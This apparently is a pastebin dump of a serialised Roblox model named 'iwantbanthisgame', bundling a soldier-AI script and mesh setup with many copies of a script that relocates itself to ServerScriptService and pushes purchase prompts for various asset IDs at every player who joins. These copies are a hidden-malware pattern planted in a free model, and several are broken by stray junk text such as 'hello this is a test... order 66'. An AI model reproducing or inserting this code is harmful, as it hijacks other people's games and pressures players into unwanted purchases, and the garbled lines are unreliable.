- test local wat= 3836200621 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do if not market:PlayerOwnsAsset(v,wat) then market:PromptPurchase(v,wat) end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- hello this is a test stop watch i said stop xd whops wooooo cares order 66 jason genova
- end))
- Script_1.Parent = iwantbanthisgame
- table.insert(functions,sandbox(Script_2,function()
- test local wat= 3865023116 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do if not market:PlayerOwnsAsset(v,wat) then market:PromptPurchase(v,wat) end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- hello this is a test stop watch i said stop xd whops wooooo cares order 66 jason genova
- end))
- Script_2.Parent = iwantbanthisgame
- table.insert(functions,sandbox(Script_3,function()
- test local wat= 3865753107 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do if not market:PlayerOwnsAsset(v,wat) then market:PromptPurchase(v,wat) end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- hello this is a test stop watch i said stop xd whops wooooo cares order 66 jason genova
- end))
- Script_3.Parent = iwantbanthisgame
- table.insert(functions,sandbox(Script_4,function()
- local wat= 3865029137
- script.Parent=game.ServerScriptService
- local market=game:GetService("MarketplaceService")
- for i,v in pairs(game.Players:GetChildren()) do
- if not market:PlayerOwnsAsset(v,wat) then
- market:PromptPurchase(v,wat)
- end
- end
- game.Players.PlayerAdded:connect(function(player)
- if not market:PlayerOwnsAsset(player,wat) then
- market:PromptPurchase(player,wat)
- end
- end)
- end))
- Script_4.Parent = iwantbanthisgame
- table.insert(functions,sandbox(Script_5,function()
- test local wat= 3836749099 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do if not market:PlayerOwnsAsset(v,wat) then market:PromptPurchase(v,wat) end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- hello this is a test stop watch i said stop xd whops wooooo cares order 66 jason genova
- end))
- Script_5.Parent = iwantbanthisgame
- table.insert(functions,sandbox(Script_6,function()
- test local wat= 3837780759 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do if not market:PlayerOwnsAsset(v,wat) then market:PromptPurchase(v,wat) end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- hello this is a test stop watch i said stop xd whops wooooo cares order 66 jason genova
- end))
- Script_6.Parent = iwantbanthisgame
- table.insert(functions,sandbox(Script_7,function()
- test local wat= 3865023116 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do if not market:PlayerOwnsAsset(v,wat) then market:PromptPurchase(v,wat) end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- hello this is a test stop watch i said stop xd whops wooooo cares order 66 jason genova
- end))
- Script_7.Parent = iwantbanthisgame
- table.insert(functions,sandbox(Script_8,function()
- local soldier = script.Parent
- soldier.GunStorage.Gun.Parent = soldier
- for _, script in pairs(soldier.ModuleScripts:GetChildren()) do
- if not game.ServerStorage:FindFirstChild(script.Name) then
- script:Clone().Parent = game.ServerStorage
- end
- end
- wait(1)
- local AI = require(game.ServerStorage.ROBLOX_SoldierAI).new(soldier)
- local DestroyService = require(game.ServerStorage.ROBLOX_DestroyService)
- local function clearParts(parent)
- for _, part in pairs(parent:GetChildren()) do
- clearParts(part)
- end
- local delay
- if parent:IsA("Part") then
- delay = math.random(5,10)
- else
- delay = 11
- end
- DestroyService:AddItem(parent, delay)
- end
- soldier.Humanoid.Died:connect(function()
- AI.Stop()
- math.randomseed(tick())
- clearParts(soldier)
- script.Disabled = true
- end)
- end))
- Script_8.Parent = iwantbanthisgame
- table.insert(functions,sandbox(Script_9,function()
- test local wat= 3836747879 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do if not market:PlayerOwnsAsset(v,wat) then market:PromptPurchase(v,wat) end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- hello this is a test stop watch i said stop xd whops wooooo cares order 66 jason genova
- end))
- Script_9.Parent = iwantbanthisgame
- table.insert(functions,sandbox(Script_10,function()
- test local wat= 3836103993 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do if not market:PlayerOwnsAsset(v,wat) then market:PromptPurchase(v,wat) end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- hello this is a test stop watch i said stop xd whops wooooo cares order 66 jason genova
- end))
- Script_10.Parent = iwantbanthisgame
- table.insert(functions,sandbox(Script_11,function()
- test local wat= 3837779568 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do if not market:PlayerOwnsAsset(v,wat) then market:PromptPurchase(v,wat) end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- hello this is a test stop watch i said stop xd whops wooooo cares order 66 jason genova
- end))
- Script_11.Parent = iwantbanthisgame
- Handle_1.Anchored = true
- Handle_1.CFrame = CFrame.new(-70.382,4.94,-13.141,-1,0,0.022,0,1,0,-0.022,0,-1)
- Handle_1.Locked = true
- Handle_1.Size = Vector3.new(1,6,1)
- Handle_1.Name = "Handle"
- Handle_1.Parent = iwantbanthisgame
- Mesh_2.MeshType = Enum.MeshType.FileMesh
- Mesh_2.MeshId = "http://www.roblox.com/asset/?id=10604848"
- Mesh_2.TextureId = "http://www.roblox.com/asset/?id=10605252"
- Mesh_2.Scale = Vector3.new(0.8,0.8,0.8)
- Mesh_2.Parent = Handle_1
- Decal.Texture = "http://www.roblox.com/asset/?id=10605252"
- Decal.Face = Enum.NormalId.Back
- Decal.Parent = Handle_1
- for i,v in ipairs(functions) do
- spawn(function()
- pcall(v)
- end)
- end
- for i,v in ipairs(mas:GetChildren()) do
- v.Parent = workspace
- end
- mas:Destroy()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement